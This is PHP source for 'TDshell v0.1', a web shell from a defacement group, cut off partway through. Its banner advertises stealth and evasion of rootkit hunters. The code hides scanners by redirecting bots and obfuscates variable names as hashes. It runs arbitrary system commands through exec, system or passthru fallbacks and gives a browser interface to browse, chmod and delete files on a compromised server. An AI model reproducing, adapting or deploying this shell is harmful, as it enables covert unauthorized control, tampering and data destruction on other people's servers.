/**

      _______ _          _____        __                   _

     |__   __| |        |  __ \      / _|                 | |

        | |  | |__   ___| |  | | ___| |_ __ _  ___ ___  __| |

        | |  | '_ \ / _ \ |  | |/ _ \  _/ _` |/ __/ _ \/ _` |

        | |  | | | |  __/ |__| |  __/ || (_| | (_|  __/ (_| |

        |_|  |_| |_|\___|_____/ \___|_| \__,_|\___\___|\__,_|



  _____                      _ _           _______

 / ____|                    (_) |         |__   __|

| (___   ___  ___ _   _ _ __ _| |_ _   _     | | ___  __ _ _ __ ___

 \___ \ / _ \/ __| | | | '__| | __| | | |    | |/ _ \/ _` | '_ ` _ \

 ____) |  __/ (__| |_| | |  | | |_| |_| |    | |  __/ (_| | | | | | |

|_____/ \___|\___|\__,_|_|  |_|\__|\__, |    |_|\___|\__,_|_| |_| |_|

                                    __/ |

                                   |___/

 __________________________________________________________________

 |------------------------[ TDshell v0.1 ]------------------------|

 |           [ � 2005 -> 2008 TheDefaced Security Team ]          |

/------------------------------------------------------------------\

\                                                                  /

 \      ___________________         .__           .__  .__        /

  \     \__    ___/\______ \   _____|  |__   ____ |  | |  |      /

   \      |    |    |    |  \ /  ___/  |  \_/ __ \|  | |  |     /

   /      |    |    |    `   \\___ \|   Y  \  ___/|  |_|  |__   \

  /       |____|   /_______  /____  >___|  /\___  >____/____/    \

  \                        \/     \/     \/     \/               /

   \____________________________________________________________/

   |                                                           |

   |------------------------[ CREDITS ]------------------------|

   |                                                           |

   | www.TheDefaced.org                                        |

   |     * DeadlyData                                          |

   |     * Debug                                               |

   |     * Kr3w                                                |

   |     * Tr3mbl3r                                            |

   |     * xaNax`                                              |

   |     * Blood420                                            |

    \                                                         /

     |#######################################################|

    /                                                         \

   |                                                           |

   |-----------------------[ FEATURES! ]-----------------------|

   |                                                           |

   | TDshell contains a lot of features. Mainly, TDshell was   |

   | developed to alleviate what other shells left behind.     |

   | Other shells can brag the ability to do this and that,    |

   | but in the end what makes a shell, a shell? We think a    |

   | shell should have stealth. It should be fast to load, use |

   | little memory, avoid logging from rootkit hunters, be     |

   | modern, and simply do exactly what you want it to do. The |

   | style must be simple. It should allow for the execution   |

   | of your commands, the implimentation of every feature     |

   | necessary with sleek control and seemless ability. Not    |

   | only does TDshell aim to be the most stealthiest, but the |

   | most powerful all-around shell ever created.              |

    \                                                         /

     |#######################################################|

    /                                                         \

   |------------------------[ HISTORY ]------------------------|

   |                                                           |

   | TDshell was created to impliment the look and feel that a |

   | shell should have, the features and speed that a shell    |

   | should have, and the endless limits of post-development   |

   | for everyone.                                             |

   |                                                           |

   | The core of TDshell is a strong shell processing system.  |

   | Yes, TDshell has object oriented elements, whether you    |

   | like it or not. It is extensive enough to have to include |

   | a system as such. The object oriented system within       |

   | does not include OOP Class Constructs and Features that   |

   | are not available with PHP 4. This is due to the fact     |

   | that many new features to OOP in PHP 5 were added, and to |

   | limit the version requirements of this shell such         |

   | features have not been implimented.                       |

   |                                                           |

   | TDshell will not log any activity using the shell. No     |

   | information regarding this shell location, queries, or    |

   | executions of code will be logged to another server.      |

    \                                                         /

     |#######################################################|

    /                                                         \

   |---------------------[ DOCUMENTATION ]---------------------|

   |                                                           |

   | Please review the documentation of TDshell at TheDefaced  |

   | TDshell Project Page on http://tdshell.thedefaced.org.    |

    \                                                         /

     |#######################################################|

    /                                                         \

   /___________________________________________________________\



**/



if (substr_count(strtolower($_SERVER['HTTP_USER_AGENT']), "bot"))

	{

		@header("Location: http://thedefaced.org/");

		exit;

	};



function current_URI()

	{

		$_42a6152a4d7c7d957669c6d70dc5ba87 = 'http';

		if ($_SERVER["HTTPS"] == "on")

			{

				$_42a6152a4d7c7d957669c6d70dc5ba87 .= "s";

			};

		$_42a6152a4d7c7d957669c6d70dc5ba87 .= "://";

		if ($_SERVER["SERVER_PORT"] != "80")

			{

				$_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["SCRIPT_NAME"];

			}

		else

			{

				$_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];

			};

 		return $_42a6152a4d7c7d957669c6d70dc5ba87;

	};





function natsort2d(&$_6f3f41fdac2563c0cd2246cb5a507861) {

  $_8b950f1de0291b3d751c9073c331b045 = $_3abe5e58427863cb52d841b2e474b99d = array();

  foreach ($_6f3f41fdac2563c0cd2246cb5a507861 as $_4377314b1cecdbac9a384c43c42c6b48=>$_d52f547da0e098832b6b81469d36c48b) {

   reset($_d52f547da0e098832b6b81469d36c48b);

   $_8b950f1de0291b3d751c9073c331b045[$_4377314b1cecdbac9a384c43c42c6b48]=current($_d52f547da0e098832b6b81469d36c48b);

  }

  natsort($_8b950f1de0291b3d751c9073c331b045);

  foreach ($_8b950f1de0291b3d751c9073c331b045 as $_4377314b1cecdbac9a384c43c42c6b48=>$_d52f547da0e098832b6b81469d36c48b) {

   $_3abe5e58427863cb52d841b2e474b99d[$_4377314b1cecdbac9a384c43c42c6b48] = $_6f3f41fdac2563c0cd2246cb5a507861[$_4377314b1cecdbac9a384c43c42c6b48];

  }

  $_6f3f41fdac2563c0cd2246cb5a507861 = $_3abe5e58427863cb52d841b2e474b99d;

}



function getmicrotime()

	{ 

	    $_f1aa244866e1fc41fe62f3b7ccb03607 = split(" ",microtime()); 

	    $_1392ef521657c311e39af249669c5c4c = $_f1aa244866e1fc41fe62f3b7ccb03607[0] + $_f1aa244866e1fc41fe62f3b7ccb03607[1];

	    return $_1392ef521657c311e39af249669c5c4c;

	};



function view_size($_d01b1d6ca02250dd3186b3eb5feeca75) 

	{

		 if (!is_numeric($_d01b1d6ca02250dd3186b3eb5feeca75)) {return FALSE;} 

		 else 

			 { 

				  if ($_d01b1d6ca02250dd3186b3eb5feeca75 >= 1073741824) {$_d01b1d6ca02250dd3186b3eb5feeca75 = round($_d01b1d6ca02250dd3186b3eb5feeca75/1073741824*100)/100 ." GB";} 

				  elseif ($_d01b1d6ca02250dd3186b3eb5feeca75 >= 1048576) {$_d01b1d6ca02250dd3186b3eb5feeca75 = round($_d01b1d6ca02250dd3186b3eb5feeca75/1048576*100)/100 ." MB";} 

				  elseif ($_d01b1d6ca02250dd3186b3eb5feeca75 >= 1024) {$_d01b1d6ca02250dd3186b3eb5feeca75 = round($_d01b1d6ca02250dd3186b3eb5feeca75/1024*100)/100 ." KB";} 

				  else {$_d01b1d6ca02250dd3186b3eb5feeca75 = $_d01b1d6ca02250dd3186b3eb5feeca75 . " B";} 

				  return $_d01b1d6ca02250dd3186b3eb5feeca75;

			 } 

	};

if ( !function_exists('htmlspecialchars_decode') )

	{

	    function htmlspecialchars_decode($_33343500153dd2bfdb71207b3a2efb0b)

	    {

	        return strtr($_33343500153dd2bfdb71207b3a2efb0b, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));

	    };

	};



function processdir($_2211b5dc6bb7947adcb0bf14cee6591e)

	{

		$_2211b5dc6bb7947adcb0bf14cee6591e = @realpath($_2211b5dc6bb7947adcb0bf14cee6591e);

		$_2211b5dc6bb7947adcb0bf14cee6591e = @explode(DIRECTORY_SEPARATOR, $_2211b5dc6bb7947adcb0bf14cee6591e);

		$_2211b5dc6bb7947adcb0bf14cee6591e = @array_reverse($_2211b5dc6bb7947adcb0bf14cee6591e);

		foreach ($_2211b5dc6bb7947adcb0bf14cee6591e as $_120c29d6a17d23d38cf83c73ee28474a => $_dbb9cf7861c2b08674858b1c5ed255d3)

			{

				$_4015b8ddbb3792b7cea9b691c444f9bb = @implode(DIRECTORY_SEPARATOR, @array_reverse($_2211b5dc6bb7947adcb0bf14cee6591e));

				$_a9e5405d6581811dbff46e9ca3280bc1[] = $GLOBALS['TDshell']->make_link("list", array("dir" => $_4015b8ddbb3792b7cea9b691c444f9bb . DIRECTORY_SEPARATOR), @htmlspecialchars($_dbb9cf7861c2b08674858b1c5ed255d3) . DIRECTORY_SEPARATOR);

				unset($_2211b5dc6bb7947adcb0bf14cee6591e[$_120c29d6a17d23d38cf83c73ee28474a]);

			};

		$_a9e5405d6581811dbff46e9ca3280bc1 = @array_reverse($_a9e5405d6581811dbff46e9ca3280bc1);

		$_a9e5405d6581811dbff46e9ca3280bc1 = @implode("", $_a9e5405d6581811dbff46e9ca3280bc1);

		return $_a9e5405d6581811dbff46e9ca3280bc1;

	};

if (!@function_exists("htmlspecialchars_decode")) {

    function htmlspecialchars_decode($_5fa3317a9a640ed74c5f9247474ed574, $_59588925eec423f30d40b21b1ed1668e = ENT_COMPAT) {

        return strtr($_5fa3317a9a640ed74c5f9247474ed574, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $_59588925eec423f30d40b21b1ed1668e)));

    };

};



function delete_directory($_03bc224b8d2f7aeadafb2048d91c8f5e)  {

        $_82c6138b62efd9e0b5bd91204b1d854b  =  @opendir($_03bc224b8d2f7aeadafb2048d91c8f5e);

        while(($_3de8e09f12e75d6214bb6e7720875bf2  =  @readdir($_82c6138b62efd9e0b5bd91204b1d854b)) !== FALSE)  {

            if  ($_3de8e09f12e75d6214bb6e7720875bf2  !=  "."  &&  $_3de8e09f12e75d6214bb6e7720875bf2  !=  "..")  {

                if  (!@is_dir($_03bc224b8d2f7aeadafb2048d91c8f5e."/".$_3de8e09f12e75d6214bb6e7720875bf2))

                        @unlink($_03bc224b8d2f7aeadafb2048d91c8f5e."/".$_3de8e09f12e75d6214bb6e7720875bf2);

                else

                        delete_directory($_03bc224b8d2f7aeadafb2048d91c8f5e.'/'.$_3de8e09f12e75d6214bb6e7720875bf2);                       

            }

        }

        @closedir($_82c6138b62efd9e0b5bd91204b1d854b);

        if (@rmdir($_03bc224b8d2f7aeadafb2048d91c8f5e))

        	{

				return true;

			};

        return false;

};



function is_disabled($_d24fdc60af9ffefb892a8c20a6f28f0f) {

  $_3f595d48284da121e82e9fba50f8ae78=@explode(',',@ini_get('disable_functions'));

  return @in_array($_d24fdc60af9ffefb892a8c20a6f28f0f, $_3f595d48284da121e82e9fba50f8ae78);

}



function custom_exec($_43b464f69048e498f740f7449de30b58)

	{

		if (!is_disabled("exec"))

			{

				@exec($_43b464f69048e498f740f7449de30b58, $_c378b53352ff491652530ac000f8d120);

				return @implode("\n", $_c378b53352ff491652530ac000f8d120);

			}

		elseif (!is_disabled("system"))

			{

				@ob_start();

				@system($_43b464f69048e498f740f7449de30b58);

				$_a9e5405d6581811dbff46e9ca3280bc1 = @ob_get_clean();

				return $_a9e5405d6581811dbff46e9ca3280bc1;

			}

		elseif (!is_disabled("passthru"))

			{

				@ob_start();

				@passthru($_43b464f69048e498f740f7449de30b58);

				$_a9e5405d6581811dbff46e9ca3280bc1 = @ob_get_clean();

				return $_a9e5405d6581811dbff46e9ca3280bc1;	

			}

		else

			{

				return FALSE;

			}

	}



function listDir($_2211b5dc6bb7947adcb0bf14cee6591e)

	{

		$_7924ccf53d944b2d8320d10d54548e29 = array();

		$_ae816068878d4783e70eeef9284475f4 = array();

		$_fd614daccd49afd7833e083628860ad5 = array();

		

		$_c14f19c15d50e72a5733c0ad88a035b9 = @opendir($_2211b5dc6bb7947adcb0bf14cee6591e);

		while (($_b6525f529051ff28fa112494d8e2d5a3 = @readdir($_c14f19c15d50e72a5733c0ad88a035b9)) !== FALSE)

			{

				$_d69e2bdf98584fc6cce9c9f9a9eb8b6a[] = $_b6525f529051ff28fa112494d8e2d5a3;

			};

		@closedir($_c14f19c15d50e72a5733c0ad88a035b9);

				foreach ($_d69e2bdf98584fc6cce9c9f9a9eb8b6a as $_e702a6d41125002051486e5e72b66d74)

			{

				if ($_e702a6d41125002051486e5e72b66d74 == ".")

					{

						$_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . "." . DIRECTORY_SEPARATOR;

					}

				elseif ($_e702a6d41125002051486e5e72b66d74 == "..")

					{

						$_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . ".." . DIRECTORY_SEPARATOR;

					}

				elseif (@is_dir($_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74))

					{

						if (@is_link($_e702a6d41125002051486e5e72b66d74))

							{

								$_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74 . DIRECTORY_SEPARATOR;

							}

						else

							{

								$_fd614daccd49afd7833e083628860ad5[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74 . DIRECTORY_SEPARATOR;

							};

					}

				elseif (@is_file($_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74))

					{

						$_7924ccf53d944b2d8320d10d54548e29[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74;

					}

				else

					{

						$_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74;

					};

			};

		foreach ($_7924ccf53d944b2d8320d10d54548e29 as $_4377314b1cecdbac9a384c43c42c6b48 => $_3de8e09f12e75d6214bb6e7720875bf2)

			{

				$_86cc5dffb9c95119ecd61c5ce2502cbc[@htmlspecialchars(@basename($_3de8e09f12e75d6214bb6e7720875bf2))] = @realpath($_3de8e09f12e75d6214bb6e7720875bf2);

			};

		foreach ($_fd614daccd49afd7833e083628860ad5 as $_4377314b1cecdbac9a384c43c42c6b48 => $_2211b5dc6bb7947adcb0bf14cee6591e)

			{

				$_929bdda99ead5652737dc2edefe9b0c4[@htmlspecialchars(@basename($_2211b5dc6bb7947adcb0bf14cee6591e))] = @realpath($_2211b5dc6bb7947adcb0bf14cee6591e);

			};

		foreach ($_ae816068878d4783e70eeef9284475f4 as $_4377314b1cecdbac9a384c43c42c6b48 => $_74bd500a4b44ea6a823f6199ccdb62a8)

			{

				$_022d200e9529826ec8ed110a68478d28[@htmlspecialchars(@basename($_74bd500a4b44ea6a823f6199ccdb62a8))] = @realpath($_74bd500a4b44ea6a823f6199ccdb62a8);

			};

		@natsort($_86cc5dffb9c95119ecd61c5ce2502cbc);

		@natsort($_929bdda99ead5652737dc2edefe9b0c4);

		@natsort($_022d200e9529826ec8ed110a68478d28);

		return array("FILES" => $_86cc5dffb9c95119ecd61c5ce2502cbc, "DIRS" => $_929bdda99ead5652737dc2edefe9b0c4, "LINKS" => $_022d200e9529826ec8ed110a68478d28);

	}



function recursiveDirectoryResponse($_2211b5dc6bb7947adcb0bf14cee6591e)

	{

		$_2211b5dc6bb7947adcb0bf14cee6591e = @realpath($_2211b5dc6bb7947adcb0bf14cee6591e);

		if (!@is_dir($_2211b5dc6bb7947adcb0bf14cee6591e))

			{

				return FALSE;

			};

		$_c14f19c15d50e72a5733c0ad88a035b9 = @opendir($_2211b5dc6bb7947adcb0bf14cee6591e);

		$_35822b5d3e252c2cd76a8cfd0bc9215b = array();

		while (($_b6525f529051ff28fa112494d8e2d5a3 = @readdir($_c14f19c15d50e72a5733c0ad88a035b9)) !== FALSE)

			{

				if ($_b6525f529051ff28fa112494d8e2d5a3 !== "." && $_b6525f529051ff28fa112494d8e2d5a3 !== "..")

					{

						if (@is_dir($_b6525f529051ff28fa112494d8e2d5a3) && !isset($_35822b5d3e252c2cd76a8cfd0bc9215b[$_b6525f529051ff28fa112494d8e2d5a3 . DIRECTORY_SEPARATOR]))

							{

								$_35822b5d3e252c2cd76a8cfd0bc9215b[$_b6525f529051ff28fa112494d8e2d5a3 . DIRECTORY_SEPARATOR] = recursiveDirectoryResponse($_b6525f529051ff28fa112494d8e2d5a3);

							}

						else

							{

								$_35822b5d3e252c2cd76a8cfd0bc9215b[] = $_b6525f529051ff28fa112494d8e2d5a3;

							};

					};

			};

		return $_35822b5d3e252c2cd76a8cfd0bc9215b;

	}



function file_perms($_3de8e09f12e75d6214bb6e7720875bf2, $_7c6634f9e5e8cd23040778e99232dff3 = false)

{

    if(!@file_exists($_3de8e09f12e75d6214bb6e7720875bf2)) return false;



    $_13f531c0ca48f6a5f8315121bf59ffaa = @fileperms($_3de8e09f12e75d6214bb6e7720875bf2);



    $_cbc4b619c09cd3060d1699bd1b6ec197 = $_7c6634f9e5e8cd23040778e99232dff3 ? 2 : 3;



    return @substr(@decoct($_13f531c0ca48f6a5f8315121bf59ffaa), $_cbc4b619c09cd3060d1699bd1b6ec197);

}



function view_perms($_65fa4fdb4dc96ba9c4f2629446b1acf9) 

{ 

 if (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0xC000) === 0xC000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "s";} 

 elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x4000) === 0x4000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "d";} 

 elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0xA000) === 0xA000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "l";} 

 elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x8000) === 0x8000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "-";} 

 elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x6000) === 0x6000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "b";} 

 elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x2000) === 0x2000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "c";} 

 elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x1000) === 0x1000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "p";} 

 else {$_78f05392f016a05e28dc87c1d3bd52a2 = "?";} 

 $_08a8bc95aa954433522d6e8773049cbc["read"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00400)?"r":"-"; 

 $_08a8bc95aa954433522d6e8773049cbc["write"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00200)?"w":"-"; 

 $_08a8bc95aa954433522d6e8773049cbc["execute"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00100)?"x":"-"; 

 $_aeaf1179391a94c353c7eb37a0e3ec8b["read"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00040)?"r":"-"; 

 $_aeaf1179391a94c353c7eb37a0e3ec8b["write"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00020)?"w":"-"; 

 $_aeaf1179391a94c353c7eb37a0e3ec8b["execute"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00010)?"x":"-"; 

 $_be187a6755c5e72374d46fcbc1c4fe57["read"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00004)?"r":"-"; 

 $_be187a6755c5e72374d46fcbc1c4fe57["write"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00002)? "w":"-"; 

 $_be187a6755c5e72374d46fcbc1c4fe57["execute"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00001)?"x":"-"; 

 if ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x800) {$_08a8bc95aa954433522d6e8773049cbc["execute"] = ($_08a8bc95aa954433522d6e8773049cbc["execute"] == "x")?"s":"S";} 

 if ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x400) {$_aeaf1179391a94c353c7eb37a0e3ec8b["execute"] = ($_aeaf1179391a94c353c7eb37a0e3ec8b["execute"] == "x")?"s":"S";} 

 if ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x200) {$_be187a6755c5e72374d46fcbc1c4fe57["execute"] = ($_be187a6755c5e72374d46fcbc1c4fe57["execute"] == "x")?"t":"T";} 

 return $_78f05392f016a05e28dc87c1d3bd52a2.join("",$_08a8bc95aa954433522d6e8773049cbc).join("",$_aeaf1179391a94c353c7eb37a0e3ec8b).join("",$_be187a6755c5e72374d46fcbc1c4fe57); 

} 



function view_perms_color($_3bf3fbc5fc401a716348815f5e794920) 

{ 

 if (!@is_readable($_3bf3fbc5fc401a716348815f5e794920)) {return "<font color=red>".view_perms(@fileperms($_3bf3fbc5fc401a716348815f5e794920))."</font>";} 

 elseif (!@is_writable($_3bf3fbc5fc401a716348815f5e794920)) {return "<font color=white>".view_perms(@fileperms($_3bf3fbc5fc401a716348815f5e794920))."</font>";} 

 else {return "<font color=green>".view_perms(@fileperms($_3bf3fbc5fc401a716348815f5e794920))."</font>";} 

} 



Class _463f641c8747ebe94fafef7333a99b45

	{

		var $TDshell_version = "TDshell v0.1 - Beta";

		var $TDshell_template = array();

		var $TDshell_data = "";

		var $TDshell_time_start = "";

		var $TDshell_time_end = "";

		

		function init()

			{

								$_a3ae37119660c8023a43787f58268912 = $_GET['proc'];

				unset($_GET['proc']);

								$_2e5c25529adea7d7ad4802936aee0b48 = $_GET['act'];

				unset($_GET['act']);

				$this->TDshell_time_start = getmicrotime();

				if ($_a3ae37119660c8023a43787f58268912 != "out")

					{

						$this->header();

					}

				if (!empty($_GET['args']))

					{

						$_ec4ae32bf3e3a09bae7ff3e84ebbc667 = $_GET['args'];

						$_ec4ae32bf3e3a09bae7ff3e84ebbc667 = @explode("-", $_ec4ae32bf3e3a09bae7ff3e84ebbc667);

						foreach ($_ec4ae32bf3e3a09bae7ff3e84ebbc667 as $_f16aff67f7495b01405d8cd6181766f0)

							{

								list($_d3befca3813d65aff84c2353e705a0dd, $_dd5a91d0c375489fc194ecfe1da2e38a) = @explode(":", @base64_decode($_f16aff67f7495b01405d8cd6181766f0), 2);

								$_8cc898f326427ea2223c7150e5b6537c[$_d3befca3813d65aff84c2353e705a0dd] = $_dd5a91d0c375489fc194ecfe1da2e38a;

							};

						$this->process($_2e5c25529adea7d7ad4802936aee0b48, $_8cc898f326427ea2223c7150e5b6537c);

					}

				else

					{

						$this->process($_2e5c25529adea7d7ad4802936aee0b48);

					};

				$this->TDshell_time_end = getmicrotime();

				if ($_a3ae37119660c8023a43787f58268912 != "out")

					{

						$this->footer("" . $this->TDshell_time_end - $this->TDshell_time_start . "");

					}

				$this->outall();

			}

		

		function process($_2e5c25529adea7d7ad4802936aee0b48 = "", $_ec4ae32bf3e3a09bae7ff3e84ebbc667 = array())

			{

				switch($_2e5c25529adea7d7ad4802936aee0b48)

					{

						case "list":

							$_2211b5dc6bb7947adcb0bf14cee6591e = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['dir'];

							if (empty($_2211b5dc6bb7947adcb0bf14cee6591e))

								{

									$this->process("list", array("dir" => "." . DIRECTORY_SEPARATOR));

									return FALSE;

								};



							if (!@is_dir($_2211b5dc6bb7947adcb0bf14cee6591e))

								{

									$this->out("Problem listing directory; directory does not exist or cannot be read from.");

									return FALSE;

								};

							$_8e1c807f3c845b208dba4430e64f4d94 = listDir($_2211b5dc6bb7947adcb0bf14cee6591e);

							$this->out("<b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "&nbsp;&nbsp;&nbsp;" . view_perms_color($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br>");

							$this->out("<center><span style='font-size:12px'><b>Listing " . @count($_8e1c807f3c845b208dba4430e64f4d94['DIRS']) . " directories and " . @count($_8e1c807f3c845b208dba4430e64f4d94['FILES']) . " files.</b></span></center>");

							if (empty($_8e1c807f3c845b208dba4430e64f4d94['LINKS']))

								{

									$this->out("Problem listing directory; directory does not exist or cannot be read from.");

									return FALSE;

								};

							$this->out("<table width=100% padding=1>

	<tr>

		<th nowrap>

			Name		

		</th>

		<th nowrap>

			Size		

		</th>

		<th nowrap>

			Modified		

		</th>

		<th nowrap>

			Owner|Group		

		</th>

		<th nowrap>

			Permissions		

		</th>

		<th nowrap>	

			Action		

		</th>

	</tr>");

							if (@is_array($_8e1c807f3c845b208dba4430e64f4d94['LINKS']))

							foreach ($_8e1c807f3c845b208dba4430e64f4d94['LINKS'] as $_a70fd9147fda16858f57fe0479d66df0 => $_bf765329c68fb45566ab3b1af145d2c2)

								{

									$this->out("<tr>");

									$this->out("<td><b>" . $this->make_link("list", array("dir" => $_bf765329c68fb45566ab3b1af145d2c2 . DIRECTORY_SEPARATOR), $_a70fd9147fda16858f57fe0479d66df0) . "</b></td>");

									$this->out("<td>LINK</td>");

									     $_ca3b4c9ef3a45b7d6dc6af03bad1367b = @posix_getpwuid(@fileowner($_bf765329c68fb45566ab3b1af145d2c2));

										 $_35b2f08320a2169a648d2377cae768d3 = @posix_getgrgid(@filegroup($_bf765329c68fb45566ab3b1af145d2c2));

										 $_ca3b4c9ef3a45b7d6dc6af03bad1367b = $_ca3b4c9ef3a45b7d6dc6af03bad1367b["name"];

										 $_35b2f08320a2169a648d2377cae768d3 = $_35b2f08320a2169a648d2377cae768d3["name"];

									$this->out("<td>" . @date ("F d Y H:i:s.", @filemtime($_bf765329c68fb45566ab3b1af145d2c2)) . "</td>");

									$this->out("<td>$_ca3b4c9ef3a45b7d6dc6af03bad1367b|$_35b2f08320a2169a648d2377cae768d3</td>");

									$this->out("<td><span title='" . @substr(@decoct(@fileperms($_bf765329c68fb45566ab3b1af145d2c2)),-4,4) . "'>" . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "chmod"), view_perms_color($_bf765329c68fb45566ab3b1af145d2c2)) . "</span></td>");

									$this->out("<td>" . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "info"), "[info]") . " - " . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "chmod"), "[chmod]") . " - " . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "delete"), "[delete]") . "</td>");

									$this->out("</tr>");

								}

							if (@is_array($_8e1c807f3c845b208dba4430e64f4d94['DIRS']))

							foreach ($_8e1c807f3c845b208dba4430e64f4d94['DIRS'] as $_23e43c1054e39145ffd2c948f87f107c => $_b52f6a3170e004ef525cff1e536b7427)

								{

									$this->out("<tr>");

									$this->out("<td><b>[" . $this->make_link("list", array("dir" => $_b52f6a3170e004ef525cff1e536b7427 . DIRECTORY_SEPARATOR), $_23e43c1054e39145ffd2c948f87f107c) . "]</b></td>");

									$this->out("<td>" . view_size(@filesize($_b52f6a3170e004ef525cff1e536b7427)) . "</td>");

									     $_a7fcd5fac3ae867f8cdb4eb46a683477 = @posix_getpwuid(@fileowner($_b52f6a3170e004ef525cff1e536b7427));

										 $_82e66704cd450201cf5168d64d52a4d3 = @posix_getgrgid(@filegroup($_b52f6a3170e004ef525cff1e536b7427));

										 $_a7fcd5fac3ae867f8cdb4eb46a683477 = $_a7fcd5fac3ae867f8cdb4eb46a683477["name"];

										 $_82e66704cd450201cf5168d64d52a4d3 = $_82e66704cd450201cf5168d64d52a4d3["name"];

									$this->out("<td>" . @date ("F d Y H:i:s.", @filemtime($_b52f6a3170e004ef525cff1e536b7427)) . "</td>");

									$this->out("<td>$_a7fcd5fac3ae867f8cdb4eb46a683477|$_82e66704cd450201cf5168d64d52a4d3</td>");

									$this->out("<td><span title='" . @substr(@decoct(@fileperms($_b52f6a3170e004ef525cff1e536b7427)),-4,4) . "'>" . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "chmod"), view_perms_color($_b52f6a3170e004ef525cff1e536b7427)) . "</span></td>");

									$this->out("<td>" . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "info"), "[info]") . " - " . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "chmod"), "[chmod]") . " - " . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "delete"), "[delete]") . "</td>");

									$this->out("</tr>");

								}

							if (@is_array($_8e1c807f3c845b208dba4430e64f4d94['FILES']))

							foreach ($_8e1c807f3c845b208dba4430e64f4d94['FILES'] as $_0136b647df83da4bb9a70b41420d9e05 => $_f3f7e9f4a6ad2cc07b147484d501377d)

								{

									$_ed02210e63e304003de8ccd669607668 = view_size(@filesize($_f3f7e9f4a6ad2cc07b147484d501377d));

									$_8501d6dd59b45b2159f1f73f6e17b11f = @md5(microtime() . $_0136b647df83da4bb9a70b41420d9e05);

									$this->out("<tr>");

									$this->out("<td><b><span title='$_0136b647df83da4bb9a70b41420d9e05 - Size: " . $_ed02210e63e304003de8ccd669607668 . "'>" . $this->make_link("file", array("name" => $_f3f7e9f4a6ad2cc07b147484d501377d, "act" => "view"), $_0136b647df83da4bb9a70b41420d9e05). "</span></b></td>");

									$this->out("<td>" . $_ed02210e63e304003de8ccd669607668 . "</td>");

									     $_d2f5e3cb12e93bae6c4981faf06db693 = @posix_getpwuid(@fileowner($_f3f7e9f4a6ad2cc07b147484d501377d));

										 $_048403d36ad14f408d11cb9c81b09d29 = @posix_getgrgid(@filegroup($_f3f7e9f4a6ad2cc07b147484d501377d));

										 $_d2f5e3cb12e93bae6c4981faf06db693 = $_d2f5e3cb12e93bae6c4981faf06db693["name"];

										 $_048403d36ad14f408d11cb9c81b09d29 = $_048403d36ad14f408d11cb9c81b09d29["name"];

									$this->out("<td>" . @date ("F d Y H:i:s.", @filemtime($_f3f7e9f4a6ad2cc07b147484d501377d)) . "</td>");

									$this->out("<td>$_d2f5e3cb12e93bae6c4981faf06db693|$_048403d36ad14f408d11cb9c81b09d29</td>");

									$this->out("<td><span title='" . @substr(@decoct(@fileperms($_f3f7e9f4a6ad2cc07b147484d501377d)),-4,4) . "'>" . $this->make_link("file", array("name" => $_f3f7e9f4a6ad2cc07b147484d501377d, "act" => "chmod"), view_perms_color($_f3f7e9f4a6ad2cc07b147484d501377d)) . "</span></td>");

									$_55b73f20aeec06c5111b6ba95bf29532 = @md5_file($_f3f7e9f4a6ad2cc07b147484d501377d);

